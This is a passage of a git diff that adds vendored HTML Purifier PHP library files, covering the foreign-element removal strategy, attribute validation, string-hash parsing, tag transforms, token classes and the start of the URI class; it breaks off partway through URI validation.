+ E_ERROR,
+ 'Strategy_RemoveForeignElements: Missing required attribute',
+ $name
+ );
+ }
+ continue;
+ }
+ $token->armor['ValidateAttributes'] = true;
+ }
+
+ if (isset($hidden_elements[$token->name]) && $token instanceof HTMLPurifier_Token_Start) {
+ $textify_comments = $token->name;
+ } elseif ($token->name === $textify_comments && $token instanceof HTMLPurifier_Token_End) {
+ $textify_comments = false;
+ }
+
+ } elseif ($escape_invalid_tags) {
+ // invalid tag, generate HTML representation and insert in
+ if ($e) {
+ $e->send(E_WARNING, 'Strategy_RemoveForeignElements: Foreign element to text');
+ }
+ $token = new HTMLPurifier_Token_Text(
+ $generator->generateFromToken($token)
+ );
+ } else {
+ // check if we need to destroy all of the tag's children
+ // CAN BE GENERICIZED
+ if (isset($hidden_elements[$token->name])) {
+ if ($token instanceof HTMLPurifier_Token_Start) {
+ $remove_until = $token->name;
+ } elseif ($token instanceof HTMLPurifier_Token_Empty) {
+ // do nothing: we're still looking
+ } else {
+ $remove_until = false;
+ }
+ if ($e) {
+ $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Foreign meta element removed');
+ }
+ } else {
+ if ($e) {
+ $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Foreign element removed');
+ }
+ }
+ continue;
+ }
+ } elseif ($token instanceof HTMLPurifier_Token_Comment) {
+ // textify comments in script tags when they are allowed
+ if ($textify_comments !== false) {
+ $data = $token->data;
+ $token = new HTMLPurifier_Token_Text($data);
+ } elseif ($trusted || $check_comments) {
+ // always cleanup comments
+ $trailing_hyphen = false;
+ if ($e) {
+ // perform check whether or not there's a trailing hyphen
+ if (substr($token->data, -1) == '-') {
+ $trailing_hyphen = true;
+ }
+ }
+ $token->data = rtrim($token->data, '-');
+ $found_double_hyphen = false;
+ while (strpos($token->data, '--') !== false) {
+ $found_double_hyphen = true;
+ $token->data = str_replace('--', '-', $token->data);
+ }
+ if ($trusted || !empty($comment_lookup[trim($token->data)]) ||
+ ($comment_regexp !== null && preg_match($comment_regexp, trim($token->data)))) {
+ // OK good
+ if ($e) {
+ if ($trailing_hyphen) {
+ $e->send(
+ E_NOTICE,
+ 'Strategy_RemoveForeignElements: Trailing hyphen in comment removed'
+ );
+ }
+ if ($found_double_hyphen) {
+ $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Hyphens in comment collapsed');
+ }
+ }
+ } else {
+ if ($e) {
+ $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed');
+ }
+ continue;
+ }
+ } else {
+ // strip comments
+ if ($e) {
+ $e->send(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed');
+ }
+ continue;
+ }
+ } elseif ($token instanceof HTMLPurifier_Token_Text) {
+ } else {
+ continue;
+ }
+ $result[] = $token;
+ }
+ if ($remove_until && $e) {
+ // we removed tokens until the end, throw error
+ $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Token removed to end', $remove_until);
+ }
+ $context->destroy('CurrentToken');
+ return $result;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/ValidateAttributes.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/ValidateAttributes.php
new file mode 100644
index 000000000..fbb3d27c8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/ValidateAttributes.php
@@ -0,0 +1,45 @@
+<?php
+
+/**
+ * Validate all attributes in the tokens.
+ */
+
+class HTMLPurifier_Strategy_ValidateAttributes extends HTMLPurifier_Strategy
+{
+
+ /**
+ * @param HTMLPurifier_Token[] $tokens
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return HTMLPurifier_Token[]
+ */
+ public function execute($tokens, $config, $context)
+ {
+ // setup validator
+ $validator = new HTMLPurifier_AttrValidator();
+
+ $token = false;
+ $context->register('CurrentToken', $token);
+
+ foreach ($tokens as $key => $token) {
+
+ // only process tokens that have attributes,
+ // namely start and empty tags
+ if (!$token instanceof HTMLPurifier_Token_Start && !$token instanceof HTMLPurifier_Token_Empty) {
+ continue;
+ }
+
+ // skip tokens that are armored
+ if (!empty($token->armor['ValidateAttributes'])) {
+ continue;
+ }
+
+ // note that we have no facilities here for removing tokens
+ $validator->validateToken($token, $config, $context);
+ }
+ $context->destroy('CurrentToken');
+ return $tokens;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHash.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHash.php
new file mode 100644
index 000000000..c07370197
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHash.php
@@ -0,0 +1,47 @@
+<?php
+
+/**
+ * This is in almost every respect equivalent to an array except
+ * that it keeps track of which keys were accessed.
+ *
+ * @warning For the sake of backwards compatibility with early versions
+ * of PHP 5, you must not use the $hash[$key] syntax; if you do
+ * our version of offsetGet is never called.
+ */
+class HTMLPurifier_StringHash extends ArrayObject
+{
+ /**
+ * @type array
+ */
+ protected $accessed = array();
+
+ /**
+ * Retrieves a value, and logs the access.
+ * @param mixed $index
+ * @return mixed
+ */
+ public function offsetGet($index)
+ {
+ $this->accessed[$index] = true;
+ return parent::offsetGet($index);
+ }
+
+ /**
+ * Returns a lookup array of all array indexes that have been accessed.
+ * @return array in form array($index => true).
+ */
+ public function getAccessed()
+ {
+ return $this->accessed;
+ }
+
+ /**
+ * Resets the access array.
+ */
+ public function resetAccessed()
+ {
+ $this->accessed = array();
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHashParser.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHashParser.php
new file mode 100644
index 000000000..7c73f8083
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/StringHashParser.php
@@ -0,0 +1,136 @@
+<?php
+
+/**
+ * Parses string hash files. File format is as such:
+ *
+ * DefaultKeyValue
+ * KEY: Value
+ * KEY2: Value2
+ * --MULTILINE-KEY--
+ * Multiline
+ * value.
+ *
+ * Which would output something similar to:
+ *
+ * array(
+ * 'ID' => 'DefaultKeyValue',
+ * 'KEY' => 'Value',
+ * 'KEY2' => 'Value2',
+ * 'MULTILINE-KEY' => "Multiline\nvalue.\n",
+ * )
+ *
+ * We use this as an easy to use file-format for configuration schema
+ * files, but the class itself is usage agnostic.
+ *
+ * You can use ---- to forcibly terminate parsing of a single string-hash;
+ * this marker is used in multi string-hashes to delimit boundaries.
+ */
+class HTMLPurifier_StringHashParser
+{
+
+ /**
+ * @type string
+ */
+ public $default = 'ID';
+
+ /**
+ * Parses a file that contains a single string-hash.
+ * @param string $file
+ * @return array
+ */
+ public function parseFile($file)
+ {
+ if (!file_exists($file)) {
+ return false;
+ }
+ $fh = fopen($file, 'r');
+ if (!$fh) {
+ return false;
+ }
+ $ret = $this->parseHandle($fh);
+ fclose($fh);
+ return $ret;
+ }
+
+ /**
+ * Parses a file that contains multiple string-hashes delimited by '----'
+ * @param string $file
+ * @return array
+ */
+ public function parseMultiFile($file)
+ {
+ if (!file_exists($file)) {
+ return false;
+ }
+ $ret = array();
+ $fh = fopen($file, 'r');
+ if (!$fh) {
+ return false;
+ }
+ while (!feof($fh)) {
+ $ret[] = $this->parseHandle($fh);
+ }
+ fclose($fh);
+ return $ret;
+ }
+
+ /**
+ * Internal parser that acepts a file handle.
+ * @note While it's possible to simulate in-memory parsing by using
+ * custom stream wrappers, if such a use-case arises we should
+ * factor out the file handle into its own class.
+ * @param resource $fh File handle with pointer at start of valid string-hash
+ * block.
+ * @return array
+ */
+ protected function parseHandle($fh)
+ {
+ $state = false;
+ $single = false;
+ $ret = array();
+ do {
+ $line = fgets($fh);
+ if ($line === false) {
+ break;
+ }
+ $line = rtrim($line, "\n\r");
+ if (!$state && $line === '') {
+ continue;
+ }
+ if ($line === '----') {
+ break;
+ }
+ if (strncmp('--#', $line, 3) === 0) {
+ // Comment
+ continue;
+ } elseif (strncmp('--', $line, 2) === 0) {
+ // Multiline declaration
+ $state = trim($line, '- ');
+ if (!isset($ret[$state])) {
+ $ret[$state] = '';
+ }
+ continue;
+ } elseif (!$state) {
+ $single = true;
+ if (strpos($line, ':') !== false) {
+ // Single-line declaration
+ list($state, $line) = explode(':', $line, 2);
+ $line = trim($line);
+ } else {
+ // Use default declaration
+ $state = $this->default;
+ }
+ }
+ if ($single) {
+ $ret[$state] = $line;
+ $single = false;
+ $state = false;
+ } else {
+ $ret[$state] .= "$line\n";
+ }
+ } while (!feof($fh));
+ return $ret;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform.php
new file mode 100644
index 000000000..7b8d83343
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform.php
@@ -0,0 +1,37 @@
+<?php
+
+/**
+ * Defines a mutation of an obsolete tag into a valid tag.
+ */
+abstract class HTMLPurifier_TagTransform
+{
+
+ /**
+ * Tag name to transform the tag to.
+ * @type string
+ */
+ public $transform_to;
+
+ /**
+ * Transforms the obsolete tag into the valid tag.
+ * @param HTMLPurifier_Token_Tag $tag Tag to be transformed.
+ * @param HTMLPurifier_Config $config Mandatory HTMLPurifier_Config object
+ * @param HTMLPurifier_Context $context Mandatory HTMLPurifier_Context object
+ */
+ abstract public function transform($tag, $config, $context);
+
+ /**
+ * Prepends CSS properties to the style attribute, creating the
+ * attribute if it doesn't exist.
+ * @warning Copied over from AttrTransform, be sure to keep in sync
+ * @param array $attr Attribute array to process (passed by reference)
+ * @param string $css CSS to prepend
+ */
+ protected function prependCSS(&$attr, $css)
+ {
+ $attr['style'] = isset($attr['style']) ? $attr['style'] : '';
+ $attr['style'] = $css . $attr['style'];
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform/Font.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform/Font.php
new file mode 100644
index 000000000..7853d90bc
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform/Font.php
@@ -0,0 +1,114 @@
+<?php
+
+/**
+ * Transforms FONT tags to the proper form (SPAN with CSS styling)
+ *
+ * This transformation takes the three proprietary attributes of FONT and
+ * transforms them into their corresponding CSS attributes. These are color,
+ * face, and size.
+ *
+ * @note Size is an interesting case because it doesn't map cleanly to CSS.
+ * Thanks to
+ * http://style.cleverchimp.com/font_size_intervals/altintervals.html
+ * for reasonable mappings.
+ * @warning This doesn't work completely correctly; specifically, this
+ * TagTransform operates before well-formedness is enforced, so
+ * the "active formatting elements" algorithm doesn't get applied.
+ */
+class HTMLPurifier_TagTransform_Font extends HTMLPurifier_TagTransform
+{
+ /**
+ * @type string
+ */
+ public $transform_to = 'span';
+
+ /**
+ * @type array
+ */
+ protected $_size_lookup = array(
+ '0' => 'xx-small',
+ '1' => 'xx-small',
+ '2' => 'small',
+ '3' => 'medium',
+ '4' => 'large',
+ '5' => 'x-large',
+ '6' => 'xx-large',
+ '7' => '300%',
+ '-1' => 'smaller',
+ '-2' => '60%',
+ '+1' => 'larger',
+ '+2' => '150%',
+ '+3' => '200%',
+ '+4' => '300%'
+ );
+
+ /**
+ * @param HTMLPurifier_Token_Tag $tag
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return HTMLPurifier_Token_End|string
+ */
+ public function transform($tag, $config, $context)
+ {
+ if ($tag instanceof HTMLPurifier_Token_End) {
+ $new_tag = clone $tag;
+ $new_tag->name = $this->transform_to;
+ return $new_tag;
+ }
+
+ $attr = $tag->attr;
+ $prepend_style = '';
+
+ // handle color transform
+ if (isset($attr['color'])) {
+ $prepend_style .= 'color:' . $attr['color'] . ';';
+ unset($attr['color']);
+ }
+
+ // handle face transform
+ if (isset($attr['face'])) {
+ $prepend_style .= 'font-family:' . $attr['face'] . ';';
+ unset($attr['face']);
+ }
+
+ // handle size transform
+ if (isset($attr['size'])) {
+ // normalize large numbers
+ if ($attr['size'] !== '') {
+ if ($attr['size']{0} == '+' || $attr['size']{0} == '-') {
+ $size = (int)$attr['size'];
+ if ($size < -2) {
+ $attr['size'] = '-2';
+ }
+ if ($size > 4) {
+ $attr['size'] = '+4';
+ }
+ } else {
+ $size = (int)$attr['size'];
+ if ($size > 7) {
+ $attr['size'] = '7';
+ }
+ }
+ }
+ if (isset($this->_size_lookup[$attr['size']])) {
+ $prepend_style .= 'font-size:' .
+ $this->_size_lookup[$attr['size']] . ';';
+ }
+ unset($attr['size']);
+ }
+
+ if ($prepend_style) {
+ $attr['style'] = isset($attr['style']) ?
+ $prepend_style . $attr['style'] :
+ $prepend_style;
+ }
+
+ $new_tag = clone $tag;
+ $new_tag->name = $this->transform_to;
+ $new_tag->attr = $attr;
+
+ return $new_tag;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform/Simple.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform/Simple.php
new file mode 100644
index 000000000..71bf10b91
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TagTransform/Simple.php
@@ -0,0 +1,44 @@
+<?php
+
+/**
+ * Simple transformation, just change tag name to something else,
+ * and possibly add some styling. This will cover most of the deprecated
+ * tag cases.
+ */
+class HTMLPurifier_TagTransform_Simple extends HTMLPurifier_TagTransform
+{
+ /**
+ * @type string
+ */
+ protected $style;
+
+ /**
+ * @param string $transform_to Tag name to transform to.
+ * @param string $style CSS style to add to the tag
+ */
+ public function __construct($transform_to, $style = null)
+ {
+ $this->transform_to = $transform_to;
+ $this->style = $style;
+ }
+
+ /**
+ * @param HTMLPurifier_Token_Tag $tag
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return string
+ */
+ public function transform($tag, $config, $context)
+ {
+ $new_tag = clone $tag;
+ $new_tag->name = $this->transform_to;
+ if (!is_null($this->style) &&
+ ($new_tag instanceof HTMLPurifier_Token_Start || $new_tag instanceof HTMLPurifier_Token_Empty)
+ ) {
+ $this->prependCSS($new_tag->attr, $this->style);
+ }
+ return $new_tag;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token.php
new file mode 100644
index 000000000..85b85e072
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token.php
@@ -0,0 +1,100 @@
+<?php
+
+/**
+ * Abstract base token class that all others inherit from.
+ */
+abstract class HTMLPurifier_Token
+{
+ /**
+ * Line number node was on in source document. Null if unknown.
+ * @type int
+ */
+ public $line;
+
+ /**
+ * Column of line node was on in source document. Null if unknown.
+ * @type int
+ */
+ public $col;
+
+ /**
+ * Lookup array of processing that this token is exempt from.
+ * Currently, valid values are "ValidateAttributes" and
+ * "MakeWellFormed_TagClosedError"
+ * @type array
+ */
+ public $armor = array();
+
+ /**
+ * Used during MakeWellFormed.
+ * @type
+ */
+ public $skip;
+
+ /**
+ * @type
+ */
+ public $rewind;
+
+ /**
+ * @type
+ */
+ public $carryover;
+
+ /**
+ * @param string $n
+ * @return null|string
+ */
+ public function __get($n)
+ {
+ if ($n === 'type') {
+ trigger_error('Deprecated type property called; use instanceof', E_USER_NOTICE);
+ switch (get_class($this)) {
+ case 'HTMLPurifier_Token_Start':
+ return 'start';
+ case 'HTMLPurifier_Token_Empty':
+ return 'empty';
+ case 'HTMLPurifier_Token_End':
+ return 'end';
+ case 'HTMLPurifier_Token_Text':
+ return 'text';
+ case 'HTMLPurifier_Token_Comment':
+ return 'comment';
+ default:
+ return null;
+ }
+ }
+ }
+
+ /**
+ * Sets the position of the token in the source document.
+ * @param int $l
+ * @param int $c
+ */
+ public function position($l = null, $c = null)
+ {
+ $this->line = $l;
+ $this->col = $c;
+ }
+
+ /**
+ * Convenience function for DirectLex settings line/col position.
+ * @param int $l
+ * @param int $c
+ */
+ public function rawPosition($l, $c)
+ {
+ if ($c === -1) {
+ $l++;
+ }
+ $this->line = $l;
+ $this->col = $c;
+ }
+
+ /**
+ * Converts a token into its corresponding node.
+ */
+ abstract public function toNode();
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Comment.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Comment.php
new file mode 100644
index 000000000..23453c705
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Comment.php
@@ -0,0 +1,38 @@
+<?php
+
+/**
+ * Concrete comment token class. Generally will be ignored.
+ */
+class HTMLPurifier_Token_Comment extends HTMLPurifier_Token
+{
+ /**
+ * Character data within comment.
+ * @type string
+ */
+ public $data;
+
+ /**
+ * @type bool
+ */
+ public $is_whitespace = true;
+
+ /**
+ * Transparent constructor.
+ *
+ * @param string $data String comment data.
+ * @param int $line
+ * @param int $col
+ */
+ public function __construct($data, $line = null, $col = null)
+ {
+ $this->data = $data;
+ $this->line = $line;
+ $this->col = $col;
+ }
+
+ public function toNode() {
+ return new HTMLPurifier_Node_Comment($this->data, $this->line, $this->col);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Empty.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Empty.php
new file mode 100644
index 000000000..78a95f555
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Empty.php
@@ -0,0 +1,15 @@
+<?php
+
+/**
+ * Concrete empty token class.
+ */
+class HTMLPurifier_Token_Empty extends HTMLPurifier_Token_Tag
+{
+ public function toNode() {
+ $n = parent::toNode();
+ $n->empty = true;
+ return $n;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/End.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/End.php
new file mode 100644
index 000000000..59b38fdc5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/End.php
@@ -0,0 +1,24 @@
+<?php
+
+/**
+ * Concrete end token class.
+ *
+ * @warning This class accepts attributes even though end tags cannot. This
+ * is for optimization reasons, as under normal circumstances, the Lexers
+ * do not pass attributes.
+ */
+class HTMLPurifier_Token_End extends HTMLPurifier_Token_Tag
+{
+ /**
+ * Token that started this node.
+ * Added by MakeWellFormed. Please do not edit this!
+ * @type HTMLPurifier_Token
+ */
+ public $start;
+
+ public function toNode() {
+ throw new Exception("HTMLPurifier_Token_End->toNode not supported!");
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Start.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Start.php
new file mode 100644
index 000000000..019f317ad
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Start.php
@@ -0,0 +1,10 @@
+<?php
+
+/**
+ * Concrete start token class.
+ */
+class HTMLPurifier_Token_Start extends HTMLPurifier_Token_Tag
+{
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Tag.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Tag.php
new file mode 100644
index 000000000..d643fa64e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Tag.php
@@ -0,0 +1,68 @@
+<?php
+
+/**
+ * Abstract class of a tag token (start, end or empty), and its behavior.
+ */
+abstract class HTMLPurifier_Token_Tag extends HTMLPurifier_Token
+{
+ /**
+ * Static bool marker that indicates the class is a tag.
+ *
+ * This allows us to check objects with <tt>!empty($obj->is_tag)</tt>
+ * without having to use a function call <tt>is_a()</tt>.
+ * @type bool
+ */
+ public $is_tag = true;
+
+ /**
+ * The lower-case name of the tag, like 'a', 'b' or 'blockquote'.
+ *
+ * @note Strictly speaking, XML tags are case sensitive, so we shouldn't
+ * be lower-casing them, but these tokens cater to HTML tags, which are
+ * insensitive.
+ * @type string
+ */
+ public $name;
+
+ /**
+ * Associative array of the tag's attributes.
+ * @type array
+ */
+ public $attr = array();
+
+ /**
+ * Non-overloaded constructor, which lower-cases passed tag name.
+ *
+ * @param string $name String name.
+ * @param array $attr Associative array of attributes.
+ * @param int $line
+ * @param int $col
+ * @param array $armor
+ */
+ public function __construct($name, $attr = array(), $line = null, $col = null, $armor = array())
+ {
+ $this->name = ctype_lower($name) ? $name : strtolower($name);
+ foreach ($attr as $key => $value) {
+ // normalization only necessary when key is not lowercase
+ if (!ctype_lower($key)) {
+ $new_key = strtolower($key);
+ if (!isset($attr[$new_key])) {
+ $attr[$new_key] = $attr[$key];
+ }
+ if ($new_key !== $key) {
+ unset($attr[$key]);
+ }
+ }
+ }
+ $this->attr = $attr;
+ $this->line = $line;
+ $this->col = $col;
+ $this->armor = $armor;
+ }
+
+ public function toNode() {
+ return new HTMLPurifier_Node_Element($this->name, $this->attr, $this->line, $this->col, $this->armor);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Text.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Text.php
new file mode 100644
index 000000000..f26a1c211
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Text.php
@@ -0,0 +1,53 @@
+<?php
+
+/**
+ * Concrete text token class.
+ *
+ * Text tokens comprise of regular parsed character data (PCDATA) and raw
+ * character data (from the CDATA sections). Internally, their
+ * data is parsed with all entities expanded. Surprisingly, the text token
+ * does have a "tag name" called #PCDATA, which is how the DTD represents it
+ * in permissible child nodes.
+ */
+class HTMLPurifier_Token_Text extends HTMLPurifier_Token
+{
+
+ /**
+ * @type string
+ */
+ public $name = '#PCDATA';
+ /**< PCDATA tag name compatible with DTD. */
+
+ /**
+ * @type string
+ */
+ public $data;
+ /**< Parsed character data of text. */
+
+ /**
+ * @type bool
+ */
+ public $is_whitespace;
+
+ /**< Bool indicating if node is whitespace. */
+
+ /**
+ * Constructor, accepts data and determines if it is whitespace.
+ * @param string $data String parsed character data.
+ * @param int $line
+ * @param int $col
+ */
+ public function __construct($data, $line = null, $col = null)
+ {
+ $this->data = $data;
+ $this->is_whitespace = ctype_space($data);
+ $this->line = $line;
+ $this->col = $col;
+ }
+
+ public function toNode() {
+ return new HTMLPurifier_Node_Text($this->data, $this->is_whitespace, $this->line, $this->col);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TokenFactory.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TokenFactory.php
new file mode 100644
index 000000000..dea2446b9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TokenFactory.php
@@ -0,0 +1,118 @@
+<?php
+
+/**
+ * Factory for token generation.
+ *
+ * @note Doing some benchmarking indicates that the new operator is much
+ * slower than the clone operator (even discounting the cost of the
+ * constructor). This class is for that optimization.
+ * Other then that, there's not much point as we don't
+ * maintain parallel HTMLPurifier_Token hierarchies (the main reason why
+ * you'd want to use an abstract factory).
+ * @todo Port DirectLex to use this
+ */
+class HTMLPurifier_TokenFactory
+{
+ // p stands for prototype
+
+ /**
+ * @type HTMLPurifier_Token_Start
+ */
+ private $p_start;
+
+ /**
+ * @type HTMLPurifier_Token_End
+ */
+ private $p_end;
+
+ /**
+ * @type HTMLPurifier_Token_Empty
+ */
+ private $p_empty;
+
+ /**
+ * @type HTMLPurifier_Token_Text
+ */
+ private $p_text;
+
+ /**
+ * @type HTMLPurifier_Token_Comment
+ */
+ private $p_comment;
+
+ /**
+ * Generates blank prototypes for cloning.
+ */
+ public function __construct()
+ {
+ $this->p_start = new HTMLPurifier_Token_Start('', array());
+ $this->p_end = new HTMLPurifier_Token_End('');
+ $this->p_empty = new HTMLPurifier_Token_Empty('', array());
+ $this->p_text = new HTMLPurifier_Token_Text('');
+ $this->p_comment = new HTMLPurifier_Token_Comment('');
+ }
+
+ /**
+ * Creates a HTMLPurifier_Token_Start.
+ * @param string $name Tag name
+ * @param array $attr Associative array of attributes
+ * @return HTMLPurifier_Token_Start Generated HTMLPurifier_Token_Start
+ */
+ public function createStart($name, $attr = array())
+ {
+ $p = clone $this->p_start;
+ $p->__construct($name, $attr);
+ return $p;
+ }
+
+ /**
+ * Creates a HTMLPurifier_Token_End.
+ * @param string $name Tag name
+ * @return HTMLPurifier_Token_End Generated HTMLPurifier_Token_End
+ */
+ public function createEnd($name)
+ {
+ $p = clone $this->p_end;
+ $p->__construct($name);
+ return $p;
+ }
+
+ /**
+ * Creates a HTMLPurifier_Token_Empty.
+ * @param string $name Tag name
+ * @param array $attr Associative array of attributes
+ * @return HTMLPurifier_Token_Empty Generated HTMLPurifier_Token_Empty
+ */
+ public function createEmpty($name, $attr = array())
+ {
+ $p = clone $this->p_empty;
+ $p->__construct($name, $attr);
+ return $p;
+ }
+
+ /**
+ * Creates a HTMLPurifier_Token_Text.
+ * @param string $data Data of text token
+ * @return HTMLPurifier_Token_Text Generated HTMLPurifier_Token_Text
+ */
+ public function createText($data)
+ {
+ $p = clone $this->p_text;
+ $p->__construct($data);
+ return $p;
+ }
+
+ /**
+ * Creates a HTMLPurifier_Token_Comment.
+ * @param string $data Data of comment token
+ * @return HTMLPurifier_Token_Comment Generated HTMLPurifier_Token_Comment
+ */
+ public function createComment($data)
+ {
+ $p = clone $this->p_comment;
+ $p->__construct($data);
+ return $p;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URI.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URI.php
new file mode 100644
index 000000000..a5e7ae298
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URI.php
@@ -0,0 +1,314 @@
+<?php
+
+/**
+ * HTML Purifier's internal representation of a URI.
+ * @note
+ * Internal data-structures are completely escaped. If the data needs
+ * to be used in a non-URI context (which is very unlikely), be sure
+ * to decode it first. The URI may not necessarily be well-formed until
+ * validate() is called.
+ */
+class HTMLPurifier_URI
+{
+ /**
+ * @type string
+ */
+ public $scheme;
+
+ /**
+ * @type string
+ */
+ public $userinfo;
+
+ /**
+ * @type string
+ */
+ public $host;
+
+ /**
+ * @type int
+ */
+ public $port;
+
+ /**
+ * @type string
+ */
+ public $path;
+
+ /**
+ * @type string
+ */
+ public $query;
+
+ /**
+ * @type string
+ */
+ public $fragment;
+
+ /**
+ * @param string $scheme
+ * @param string $userinfo
+ * @param string $host
+ * @param int $port
+ * @param string $path
+ * @param string $query
+ * @param string $fragment
+ * @note Automatically normalizes scheme and port
+ */
+ public function __construct($scheme, $userinfo, $host, $port, $path, $query, $fragment)
+ {
+ $this->scheme = is_null($scheme) || ctype_lower($scheme) ? $scheme : strtolower($scheme);
+ $this->userinfo = $userinfo;
+ $this->host = $host;
+ $this->port = is_null($port) ? $port : (int)$port;
+ $this->path = $path;
+ $this->query = $query;
+ $this->fragment = $fragment;
+ }
+
+ /**
+ * Retrieves a scheme object corresponding to the URI's scheme/default
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return HTMLPurifier_URIScheme Scheme object appropriate for validating this URI
+ */
+ public function getSchemeObj($config, $context)
+ {
+ $registry = HTMLPurifier_URISchemeRegistry::instance();
+ if ($this->scheme !== null) {
+ $scheme_obj = $registry->getScheme($this->scheme, $config, $context);
+ if (!$scheme_obj) {
+ return false;
+ } // invalid scheme, clean it out
+ } else {
+ // no scheme: retrieve the default one
+ $def = $config->getDefinition('URI');
+ $scheme_obj = $def->getDefaultScheme($config, $context);
+ if (!$scheme_obj) {
+ // something funky happened to the default scheme object
+ trigger_error(
+ 'Default scheme object "' . $def->defaultScheme . '" was not readable',
+ E_USER_WARNING
+ );
+ return false;
+ }
+ }
+ return $scheme_obj;
+ }
+
+ /**
+ * Generic validation method applicable for all schemes. May modify
+ * this URI in order to get it into a compliant form.
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool True if validation/filtering succeeds, false if failure
+ */
+ public function validate($config, $context)
+ {
+ // ABNF definitions from RFC 3986
+ $chars_sub_delims = '!$&\'()*+,;=';
+ $chars_gen_delims = ':/?#[]@';
+ $chars_pchar = $chars_sub_delims . ':@';
+
+ // validate host
+ if (!is_null($this->host)) {
+ $host_def = new HTMLPurifier_AttrDef_URI_Host();
+ $this->host = $host_def->validate($this->host, $config, $context);
+ if ($this->host === false) {
+ $this->host = null;
+ }
+ }
+
+ // validate scheme
+ // NOTE: It's not appropriate to check whether or not this
+ // scheme is in our registry, since a URIFilter may convert a
+ // URI that we don't allow into one we do. So instead, we just
+ // check if the scheme can be dropped because there is no host
+ // and it is our default scheme.
+ if (!is_null($this->scheme) && is_null($this->host) || $this->host === '') {
+ // support for relative paths is pretty abysmal when the
+ // scheme is present, so axe it when possible
+ $def = $config->getDefinition('URI');
+ if ($def->defaultScheme === $this->scheme) {
+ $this->scheme = null;
+ }
+ }
+
+ // validate username
+ if (!is_null($this->userinfo)) {
+ $encoder = new HTMLPurifier_PercentEncoder($chars_sub_delims . ':');
+ $this->userinfo = $encoder->encode($this->userinfo);
+ }
+
+ // validate port
+ if (!is_null($this->port)) {
+ if ($this->port < 1 || $this->port > 65535) {
+ $this->port = null;
+ }
+ }
+
+ // validate path
